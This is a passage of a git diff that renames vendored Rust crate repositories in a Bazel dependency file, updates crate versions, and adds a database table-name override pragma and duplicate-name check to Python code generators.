         sha256 = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_aarch64_msvc/0.48.5/download"],
@@ -3254,7 +3458,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_aarch64_msvc-0.52.6",
+        name = "vendor_ts__windows_aarch64_msvc-0.52.6",
         sha256 = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_aarch64_msvc/0.52.6/download"],
@@ -3264,7 +3468,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_i686_gnu-0.48.5",
+        name = "vendor_ts__windows_i686_gnu-0.48.5",
         sha256 = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_i686_gnu/0.48.5/download"],
@@ -3274,7 +3478,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_i686_gnu-0.52.6",
+        name = "vendor_ts__windows_i686_gnu-0.52.6",
         sha256 = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_i686_gnu/0.52.6/download"],
@@ -3284,7 +3488,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_i686_gnullvm-0.52.6",
+        name = "vendor_ts__windows_i686_gnullvm-0.52.6",
         sha256 = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_i686_gnullvm/0.52.6/download"],
@@ -3294,7 +3498,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_i686_msvc-0.48.5",
+        name = "vendor_ts__windows_i686_msvc-0.48.5",
         sha256 = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_i686_msvc/0.48.5/download"],
@@ -3304,7 +3508,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_i686_msvc-0.52.6",
+        name = "vendor_ts__windows_i686_msvc-0.52.6",
         sha256 = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_i686_msvc/0.52.6/download"],
@@ -3314,7 +3518,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_x86_64_gnu-0.48.5",
+        name = "vendor_ts__windows_x86_64_gnu-0.48.5",
         sha256 = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_x86_64_gnu/0.48.5/download"],
@@ -3324,7 +3528,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_x86_64_gnu-0.52.6",
+        name = "vendor_ts__windows_x86_64_gnu-0.52.6",
         sha256 = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_x86_64_gnu/0.52.6/download"],
@@ -3334,7 +3538,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_x86_64_gnullvm-0.48.5",
+        name = "vendor_ts__windows_x86_64_gnullvm-0.48.5",
         sha256 = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_x86_64_gnullvm/0.48.5/download"],
@@ -3344,7 +3548,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_x86_64_gnullvm-0.52.6",
+        name = "vendor_ts__windows_x86_64_gnullvm-0.52.6",
         sha256 = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_x86_64_gnullvm/0.52.6/download"],
@@ -3354,7 +3558,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_x86_64_msvc-0.48.5",
+        name = "vendor_ts__windows_x86_64_msvc-0.48.5",
         sha256 = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_x86_64_msvc/0.48.5/download"],
@@ -3364,7 +3568,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__windows_x86_64_msvc-0.52.6",
+        name = "vendor_ts__windows_x86_64_msvc-0.52.6",
         sha256 = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/windows_x86_64_msvc/0.52.6/download"],
@@ -3374,17 +3578,27 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__winnow-0.6.24",
-        sha256 = "c8d71a593cc5c42ad7876e2c1fda56f314f3754c084128833e64f1345ff8a03a",
+        name = "vendor_ts__winnow-0.7.3",
+        sha256 = "0e7f4ea97f6f78012141bcdb6a216b2609f0979ada50b20ca5b52dde2eac2bb1",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/winnow/0.7.3/download"],
+        strip_prefix = "winnow-0.7.3",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.winnow-0.7.3.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__wit-bindgen-rt-0.33.0",
+        sha256 = "3268f3d866458b787f390cf61f4bbb563b922d091359f9608842999eaee3943c",
         type = "tar.gz",
-        urls = ["https://static.crates.io/crates/winnow/0.6.24/download"],
-        strip_prefix = "winnow-0.6.24",
-        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.winnow-0.6.24.bazel"),
+        urls = ["https://static.crates.io/crates/wit-bindgen-rt/0.33.0/download"],
+        strip_prefix = "wit-bindgen-rt-0.33.0",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.wit-bindgen-rt-0.33.0.bazel"),
     )
 
     maybe(
         http_archive,
-        name = "vendor__yansi-1.0.1",
+        name = "vendor_ts__yansi-1.0.1",
         sha256 = "cfe53a6657fd280eaa890a3bc59152892ffa3e30101319d168b781ed6529b049",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/yansi/1.0.1/download"],
@@ -3394,7 +3608,7 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__zerocopy-0.7.35",
+        name = "vendor_ts__zerocopy-0.7.35",
         sha256 = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/zerocopy/0.7.35/download"],
@@ -3404,7 +3618,17 @@ def crate_repositories():
 
     maybe(
         http_archive,
-        name = "vendor__zerocopy-derive-0.7.35",
+        name = "vendor_ts__zerocopy-0.8.20",
+        sha256 = "dde3bb8c68a8f3f1ed4ac9221aad6b10cece3e60a8e2ea54a6a2dec806d0084c",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/zerocopy/0.8.20/download"],
+        strip_prefix = "zerocopy-0.8.20",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zerocopy-0.8.20.bazel"),
+    )
+
+    maybe(
+        http_archive,
+        name = "vendor_ts__zerocopy-derive-0.7.35",
         sha256 = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e",
         type = "tar.gz",
         urls = ["https://static.crates.io/crates/zerocopy-derive/0.7.35/download"],
@@ -3412,56 +3636,68 @@ def crate_repositories():
         build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zerocopy-derive-0.7.35.bazel"),
     )
 
+    maybe(
+        http_archive,
+        name = "vendor_ts__zerocopy-derive-0.8.20",
+        sha256 = "eea57037071898bf96a6da35fd626f4f27e9cee3ead2a6c703cf09d472b2e700",
+        type = "tar.gz",
+        urls = ["https://static.crates.io/crates/zerocopy-derive/0.8.20/download"],
+        strip_prefix = "zerocopy-derive-0.8.20",
+        build_file = Label("//misc/bazel/3rdparty/tree_sitter_extractors_deps:BUILD.zerocopy-derive-0.8.20.bazel"),
+    )
+
     return [
-        struct(repo = "vendor__anyhow-1.0.95", is_dev_dep = False),
-        struct(repo = "vendor__argfile-0.2.1", is_dev_dep = False),
-        struct(repo = "vendor__chrono-0.4.39", is_dev_dep = False),
-        struct(repo = "vendor__clap-4.5.26", is_dev_dep = False),
-        struct(repo = "vendor__dunce-1.0.5", is_dev_dep = False),
-        struct(repo = "vendor__either-1.13.0", is_dev_dep = False),
-        struct(repo = "vendor__encoding-0.2.33", is_dev_dep = False),
-        struct(repo = "vendor__figment-0.10.19", is_dev_dep = False),
-        struct(repo = "vendor__flate2-1.0.35", is_dev_dep = False),
-        struct(repo = "vendor__glob-0.3.2", is_dev_dep = False),
-        struct(repo = "vendor__globset-0.4.15", is_dev_dep = False),
-        struct(repo = "vendor__itertools-0.14.0", is_dev_dep = False),
-        struct(repo = "vendor__lazy_static-1.5.0", is_dev_dep = False),
-        struct(repo = "vendor__mustache-0.9.0", is_dev_dep = False),
-        struct(repo = "vendor__num-traits-0.2.19", is_dev_dep = False),
-        struct(repo = "vendor__num_cpus-1.16.0", is_dev_dep = False),
-        struct(repo = "vendor__proc-macro2-1.0.93", is_dev_dep = False),
-        struct(repo = "vendor__quote-1.0.38", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_base_db-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_cfg-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_hir-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_hir_def-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_hir_expand-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_ide_db-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_intern-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_load-cargo-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_parser-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_paths-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_project_model-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_span-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_stdx-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_syntax-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__ra_ap_vfs-0.0.258", is_dev_dep = False),
-        struct(repo = "vendor__rayon-1.10.0", is_dev_dep = False),
-        struct(repo = "vendor__regex-1.11.1", is_dev_dep = False),
-        struct(repo = "vendor__serde-1.0.217", is_dev_dep = False),
-        struct(repo = "vendor__serde_json-1.0.135", is_dev_dep = False),
-        struct(repo = "vendor__serde_with-3.12.0", is_dev_dep = False),
-        struct(repo = "vendor__syn-2.0.96", is_dev_dep = False),
-        struct(repo = "vendor__toml-0.8.19", is_dev_dep = False),
-        struct(repo = "vendor__tracing-0.1.41", is_dev_dep = False),
-        struct(repo = "vendor__tracing-flame-0.2.0", is_dev_dep = False),
-        struct(repo = "vendor__tracing-subscriber-0.3.19", is_dev_dep = False),
-        struct(repo = "vendor__tree-sitter-0.24.6", is_dev_dep = False),
-        struct(repo = "vendor__tree-sitter-embedded-template-0.23.2", is_dev_dep = False),
-        struct(repo = "vendor__tree-sitter-ruby-0.23.1", is_dev_dep = False),
-        struct(repo = "vendor__triomphe-0.1.14", is_dev_dep = False),
-        struct(repo = "vendor__ungrammar-1.16.1", is_dev_dep = False),
-        struct(repo = "vendor__rand-0.8.5", is_dev_dep = True),
-        struct(repo = "vendor__tree-sitter-json-0.24.8", is_dev_dep = True),
-        struct(repo = "vendor__tree-sitter-ql-0.23.1", is_dev_dep = True),
+        struct(repo = "vendor_ts__anyhow-1.0.97", is_dev_dep = False),
+        struct(repo = "vendor_ts__argfile-0.2.1", is_dev_dep = False),
+        struct(repo = "vendor_ts__chalk-ir-0.100.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__chrono-0.4.40", is_dev_dep = False),
+        struct(repo = "vendor_ts__clap-4.5.32", is_dev_dep = False),
+        struct(repo = "vendor_ts__dunce-1.0.5", is_dev_dep = False),
+        struct(repo = "vendor_ts__either-1.15.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__encoding-0.2.33", is_dev_dep = False),
+        struct(repo = "vendor_ts__figment-0.10.19", is_dev_dep = False),
+        struct(repo = "vendor_ts__flate2-1.1.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__glob-0.3.2", is_dev_dep = False),
+        struct(repo = "vendor_ts__globset-0.4.15", is_dev_dep = False),
+        struct(repo = "vendor_ts__itertools-0.14.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__lazy_static-1.5.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__mustache-0.9.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__num-traits-0.2.19", is_dev_dep = False),
+        struct(repo = "vendor_ts__num_cpus-1.16.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__proc-macro2-1.0.94", is_dev_dep = False),
+        struct(repo = "vendor_ts__quote-1.0.40", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_base_db-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_cfg-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_hir-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_hir_def-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_hir_expand-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_hir_ty-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_ide_db-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_intern-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_load-cargo-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_parser-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_paths-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_project_model-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_span-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_stdx-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_syntax-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__ra_ap_vfs-0.0.270", is_dev_dep = False),
+        struct(repo = "vendor_ts__rayon-1.10.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__regex-1.11.1", is_dev_dep = False),
+        struct(repo = "vendor_ts__serde-1.0.219", is_dev_dep = False),
+        struct(repo = "vendor_ts__serde_json-1.0.140", is_dev_dep = False),
+        struct(repo = "vendor_ts__serde_with-3.12.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__syn-2.0.100", is_dev_dep = False),
+        struct(repo = "vendor_ts__toml-0.8.20", is_dev_dep = False),
+        struct(repo = "vendor_ts__tracing-0.1.41", is_dev_dep = False),
+        struct(repo = "vendor_ts__tracing-flame-0.2.0", is_dev_dep = False),
+        struct(repo = "vendor_ts__tracing-subscriber-0.3.19", is_dev_dep = False),
+        struct(repo = "vendor_ts__tree-sitter-0.24.6", is_dev_dep = False),
+        struct(repo = "vendor_ts__tree-sitter-embedded-template-0.23.2", is_dev_dep = False),
+        struct(repo = "vendor_ts__tree-sitter-ruby-0.23.1", is_dev_dep = False),
+        struct(repo = "vendor_ts__triomphe-0.1.14", is_dev_dep = False),
+        struct(repo = "vendor_ts__ungrammar-1.16.1", is_dev_dep = False),
+        struct(repo = "vendor_ts__rand-0.9.0", is_dev_dep = True),
+        struct(repo = "vendor_ts__tree-sitter-json-0.24.8", is_dev_dep = True),
+        struct(repo = "vendor_ts__tree-sitter-ql-0.23.1", is_dev_dep = True),
     ]
diff --git a/misc/codegen/.python-version b/misc/codegen/.python-version
new file mode 100644
index 000000000000..e4fba2183587
--- /dev/null
+++ b/misc/codegen/.python-version
@@ -0,0 +1 @@
+3.12
diff --git a/misc/codegen/generators/cppgen.py b/misc/codegen/generators/cppgen.py
index de53b771d356..1a9a64663c19 100644
--- a/misc/codegen/generators/cppgen.py
+++ b/misc/codegen/generators/cppgen.py
@@ -37,12 +37,19 @@ def _get_type(t: str, add_or_none_except: typing.Optional[str] = None) -> str:
     return t
 
 
+def _get_trap_name(cls: schema.Class, p: schema.Property) -> str | None:
+    if p.is_single:
+        return None
+    overridden_trap_name = p.pragmas.get("ql_db_table_name")
+    if overridden_trap_name:
+        return inflection.camelize(overridden_trap_name)
+    trap_name = inflection.camelize(f"{cls.name}_{p.name}")
+    if p.is_predicate:
+        return trap_name
+    return inflection.pluralize(trap_name)
+
+
 def _get_field(cls: schema.Class, p: schema.Property, add_or_none_except: typing.Optional[str] = None) -> cpp.Field:
-    trap_name = None
-    if not p.is_single:
-        trap_name = inflection.camelize(f"{cls.name}_{p.name}")
-        if not p.is_predicate:
-            trap_name = inflection.pluralize(trap_name)
     args = dict(
         field_name=p.name + ("_" if p.name in cpp.cpp_keywords else ""),
         base_type=_get_type(p.type, add_or_none_except),
@@ -50,7 +57,7 @@ def _get_field(cls: schema.Class, p: schema.Property, add_or_none_except: typing
         is_repeated=p.is_repeated,
         is_predicate=p.is_predicate,
         is_unordered=p.is_unordered,
-        trap_name=trap_name,
+        trap_name=_get_trap_name(cls, p),
     )
     args.update(cpp.get_field_override(p.name))
     return cpp.Field(**args)
diff --git a/misc/codegen/generators/dbschemegen.py b/misc/codegen/generators/dbschemegen.py
index e2cc4220dc71..f861972cdd68 100755
--- a/misc/codegen/generators/dbschemegen.py
+++ b/misc/codegen/generators/dbschemegen.py
@@ -24,6 +24,10 @@
 log = logging.getLogger(__name__)
 
 
+class Error(Exception):
+    pass
+
+
 def dbtype(typename: str, add_or_none_except: typing.Optional[str] = None) -> str:
     """ translate a type to a dbscheme counterpart, using `@lower_underscore` format for classes.
     For class types, appends an underscore followed by `null` if provided
@@ -65,11 +69,12 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a
         )
     # use property-specific tables for 1-to-many and 1-to-at-most-1 properties
     for f in cls.properties:
+        overridden_table_name = f.pragmas.get("ql_db_table_name")
         if f.synth:
             continue
         if f.is_unordered:
             yield Table(
-                name=inflection.tableize(f"{cls.name}_{f.name}"),
+                name=overridden_table_name or inflection.tableize(f"{cls.name}_{f.name}"),
                 columns=[
                     Column("id", type=dbtype(cls.name)),
                     Column(inflection.singularize(f.name), dbtype(f.type, add_or_none_except)),
@@ -79,7 +84,7 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a
         elif f.is_repeated:
             yield Table(
                 keyset=KeySet(["id", "index"]),
-                name=inflection.tableize(f"{cls.name}_{f.name}"),
+                name=overridden_table_name or inflection.tableize(f"{cls.name}_{f.name}"),
                 columns=[
                     Column("id", type=dbtype(cls.name)),
                     Column("index", type="int"),
@@ -90,7 +95,7 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a
         elif f.is_optional:
             yield Table(
                 keyset=KeySet(["id"]),
-                name=inflection.tableize(f"{cls.name}_{f.name}"),
+                name=overridden_table_name or inflection.tableize(f"{cls.name}_{f.name}"),
                 columns=[
                     Column("id", type=dbtype(cls.name)),
                     Column(f.name, dbtype(f.type, add_or_none_except)),
@@ -100,7 +105,7 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a
         elif f.is_predicate:
             yield Table(
                 keyset=KeySet(["id"]),
-                name=inflection.underscore(f"{cls.name}_{f.name}"),
+                name=overridden_table_name or inflection.underscore(f"{cls.name}_{f.name}"),
                 columns=[
                     Column("id", type=dbtype(cls.name)),
                 ],
@@ -108,6 +113,17 @@ def cls_to_dbscheme(cls: schema.Class, lookup: typing.Dict[str, schema.Class], a
             )
 
 
+def check_name_conflicts(decls: list[Table | Union]):
+    names = set()
+    for decl in decls:
+        match decl:
+            case Table(name=name):
+                if name in names:
+                    raise Error(f"Duplicate table name: {
+                                name}, you can use `@ql.db_table_name` on a property to resolve this")
+                names.add(name)
+
+
 def get_declarations(data: schema.Schema):
     add_or_none_except = data.root_class.name if data.null else None
     declarations = [d for cls in data.classes.values() if not cls.imported for d in cls_to_dbscheme(cls,
@@ -120,6 +136,7 @@ def get_declarations(data: schema.Schema):
         declarations += [
             Union(dbtype(t, data.null), [dbtype(t), dbtype(data.null)]) for t in sorted(property_classes)
         ]
+    check_name_conflicts(declarations)
     return declarations
 
 
diff --git a/misc/codegen/generators/qlgen.py b/misc/codegen/generators/qlgen.py
index 5cdc16a8af5d..eefcad3e943b 100755
--- a/misc/codegen/generators/qlgen.py
+++ b/misc/codegen/generators/qlgen.py
@@ -130,6 +130,9 @@ def get_ql_property(cls: schema.Class, prop: schema.Property, lookup: typing.Dic
         internal="ql_internal" in prop.pragmas,
     )
     ql_name = prop.pragmas.get("ql_name", prop.name)
+    db_table_name = prop.pragmas.get("ql_db_table_name")
+    if db_table_name and prop.is_single:
+        raise Error(f"`db_table_name` pragma is not supported for single properties, but {cls.name}.{prop.name} has it")
     if prop.is_single:
         args.update(
             singular=inflection.camelize(ql_name),
@@ -141,7 +144,7 @@ def get_ql_property(cls: schema.Class, prop: schema.Property, lookup: typing.Dic
         args.update(
             singular=inflection.singularize(inflection.camelize(ql_name)),
             plural=inflection.pluralize(inflection.camelize(ql_name)),
-            tablename=inflection.tableize(f"{cls.name}_{prop.name}"),
+            tablename=db_table_name or inflection.tableize(f"{cls.name}_{prop.name}"),
             tableparams=["this", "index", "result"] if not prop.is_unordered else ["this", "result"],
             doc=_get_doc(cls, prop, plural=False),
             doc_plural=_get_doc(cls, prop, plural=True),
@@ -149,14 +152,14 @@ def get_ql_property(cls: schema.Class, prop: schema.Property, lookup: typing.Dic
     elif prop.is_optional:
         args.update(
             singular=inflection.camelize(ql_name),
-            tablename=inflection.tableize(f"{cls.name}_{prop.name}"),
+            tablename=db_table_name or inflection.tableize(f"{cls.name}_{prop.name}"),
             tableparams=["this", "result"],
             doc=_get_doc(cls, prop),
         )
     elif prop.is_predicate:
         args.update(
             singular=inflection.camelize(ql_name, uppercase_first_letter=False),
-            tablename=inflection.underscore(f"{cls.name}_{prop.name}"),
+            tablename=db_table_name or inflection.underscore(f"{cls.name}_{prop.name}"),
             tableparams=["this"],
             doc=_get_doc(cls, prop),
         )
diff --git a/misc/codegen/generators/rustgen.py b/misc/codegen/generators/rustgen.py
index b47e5cc4bd9d..d7025830bcbd 100644
--- a/misc/codegen/generators/rustgen.py
+++ b/misc/codegen/generators/rustgen.py
@@ -27,14 +27,20 @@ def _get_type(t: str) -> str:
             return t
 
 
+def _get_table_name(cls: schema.Class, p: schema.Property) -> str:
+    if p.is_single:
+        return inflection.tableize(cls.name)
+    overridden_table_name = p.pragmas.get("ql_db_table_name")
+    if overridden_table_name:
+        return overridden_table_name
+    table_name = f"{cls.name}_{p.name}"
+    if p.is_predicate:
+        return inflection.underscore(table_name)
+    else:
+        return inflection.tableize(table_name)
+
+
 def _get_field(cls: schema.Class, p: schema.Property) -> rust.Field:
-    table_name = inflection.tableize(cls.name)
-    if not p.is_single:
-        table_name = f"{cls.name}_{p.name}"
-        if p.is_predicate:
-            table_name = inflection.underscore(table_name)
-        else:
-            table_name = inflection.tableize(table_name)
     args = dict(
         field_name=rust.avoid_keywords(p.name),
         base_type=_get_type(p.type),
@@ -42,7 +48,7 @@ def _get_field(cls: schema.Class, p: schema.Property) -> rust.Field:
         is_repeated=p.is_repeated,
         is_predicate=p.is_predicate,
         is_unordered=p.is_unordered,
-        table_name=table_name,
+        table_name=_get_table_name(cls, p),
     )
     args.update(rust.get_field_override(p.name))
     return rust.Field(**args)
@@ -96,7 +102,9 @@ def _get_class(self, name: str) -> rust.Class:
             name=name,
             fields=fields,
             detached_fields=detached_fields,
-            ancestors=sorted(set(a.name for a in _get_ancestors(cls, self._classmap))),
+            # remove duplicates but preserve ordering
+            # (`dict` preserves insertion order while `set` doesn't)
+            ancestors=[*{a.name: None for a in _get_ancestors(cls, self._classmap)}],
             entry_table=inflection.tableize(cls.name) if not cls.derived else None,
         )
 
diff --git a/misc/codegen/lib/schemadefs.py b/misc/codegen/lib/schemadefs.py
index c81b2f2e215a..b0cf2b038a8d 100644
--- a/misc/codegen/lib/schemadefs.py
+++ b/misc/codegen/lib/schemadefs.py
@@ -2,8 +2,9 @@
     Callable as _Callable,
     Dict as _Dict,
     Iterable as _Iterable,
-    ClassVar as _ClassVar,
+    Union as _Union,
 )
+from copy import deepcopy as _deepcopy
 from misc.codegen.lib import schema as _schema
 import inspect as _inspect
 from dataclasses import dataclass as _dataclass
@@ -75,7 +76,7 @@ class _Namespace:
     """ simple namespacing mechanism """
     _name: str
 
-    def add(self, pragma: "_PragmaBase", key: str | None = None):
+    def add(self, pragma: _Union["_PragmaBase", "_Parametrized"], key: str | None = None):
         self.__dict__[pragma.pragma] = pragma
         pragma.pragma = key or f"{self._name}_{pragma.pragma}"
 
@@ -101,6 +102,10 @@ def negate(self) -> _schema.PropertyModifier:
 @_dataclass
 class _PragmaBase:
     pragma: str
+    value: object = None
+
+    def _apply(self, pragmas: _Dict[str, object]) -> None:
+        pragmas[self.pragma] = self.value
 
 
 @_dataclass
@@ -109,7 +114,6 @@ class _ClassPragma(_PragmaBase):
     For schema classes it acts as a python decorator with `@`.
     """
     inherited: bool = False
-    value: object = None
 
     def __call__(self, cls: type) -> type:
         """ use this pragma as a decorator on classes """
@@ -122,15 +126,11 @@ def __call__(self, cls: type) -> type:
             self._apply(cls._pragmas)
         return cls
 
-    def _apply(self, pragmas: _Dict[str, object]) -> None:
-        pragmas[self.pragma] = self.value
-
 
 @_dataclass
-class _Pragma(_ClassPragma, _schema.PropertyModifier):
-    """ A class or property pragma.
-    For properties, it functions similarly to a `_PropertyModifier` with `|`, adding the pragma.
-    For schema classes it acts as a python decorator with `@`.
+class _PropertyPragma(_PragmaBase, _schema.PropertyModifier):
+    """ A property pragma.
+    It functions similarly to a `_PropertyModifier` with `|`, adding the pragma.
     """
     remove: bool = False
 
@@ -138,7 +138,7 @@ def modify(self, prop: _schema.Property):
         self._apply(prop.pragmas)
 
     def negate(self) -> _schema.PropertyModifier:
-        return _Pragma(self.pragma, remove=True)
+        return _PropertyPragma(self.pragma, remove=not self.remove)
 
     def _apply(self, pragmas: _Dict[str, object]) -> None:
         if self.remove:
@@ -148,31 +148,38 @@ def _apply(self, pragmas: _Dict[str, object]) -> None:
 
 
 @_dataclass
-class _ParametrizedClassPragma(_PragmaBase):
-    """ A class parametrized pragma.
-    Needs to be applied to a parameter to give a class pragma.
+class _Pragma(_ClassPragma, _PropertyPragma):
+    """ A class or property pragma.
+    For properties, it functions similarly to a `_PropertyModifier` with `|`, adding the pragma.
+    For schema classes it acts as a python decorator with `@`.
     """
-    _pragma_class: _ClassVar[type] = _ClassPragma
 
-    inherited: bool = False
-    factory: _Callable[..., object] = None
 
-    def __post_init__(self):
-        self.__signature__ = _inspect.signature(self.factory).replace(return_annotation=self._pragma_class)
+class _Parametrized[P, **Q, T]:
+    """ A parametrized pragma.
+    Needs to be applied to a parameter to give a pragma.
+    """
+
+    def __init__(self, pragma_instance: P, factory: _Callable[Q, T]):
+        self.pragma_instance = pragma_instance
+        self.factory = factory
+        self.__signature__ = _inspect.signature(self.factory).replace(return_annotation=type(self.pragma_instance))
 
-    def __call__(self, *args, **kwargs) -> _pragma_class:
-        return self._pragma_class(self.pragma, self.inherited, value=self.factory(*args, **kwargs))
+    @property
+    def pragma(self):
+        return self.pragma_instance.pragma
 
+    @pragma.setter
+    def pragma(self, value):
+        self.pragma_instance.pragma = value
 
-@_dataclass
-class _ParametrizedPragma(_ParametrizedClassPragma):
-    """ A class or property parametrized pragma.
-    Needs to be applied to a parameter to give a pragma.
-    """
-    _pragma_class: _ClassVar[type] = _Pragma
+    def __invert__(self) -> "_Parametrized[P, Q, T]":
+        return _Parametrized(~self.pragma_instance, factory=self.factory)
 
-    def __invert__(self) -> _Pragma:
-        return _Pragma(self.pragma, remove=True)
+    def __call__(self, *args: Q.args, **kwargs: Q.kwargs) -> T:
+        ret = _deepcopy(self.pragma_instance)
+        ret.value = self.factory(*args, **kwargs)
+        return ret
 
 
 class _Optionalizer(_schema.PropertyModifier):
@@ -232,30 +239,31 @@ def __getitem__(self, item):
 
 use_for_null = _ClassPragma("null")
 
-qltest.add(_Pragma("skip"))
+qltest.add(_ClassPragma("skip"))
 qltest.add(_ClassPragma("collapse_hierarchy"))
 qltest.add(_ClassPragma("uncollapse_hierarchy"))
-qltest.add(_ParametrizedClassPragma("test_with", inherited=True, factory=_schema.get_type_name))
+qltest.add(_Parametrized(_ClassPragma("test_with", inherited=True), factory=_schema.get_type_name))
 
-ql.add(_ParametrizedClassPragma("default_doc_name", factory=lambda doc: doc))
+ql.add(_Parametrized(_ClassPragma("default_doc_name"), factory=lambda doc: doc))
 ql.add(_ClassPragma("hideable", inherited=True))
 ql.add(_Pragma("internal"))
-ql.add(_ParametrizedPragma("name", factory=lambda name: name))
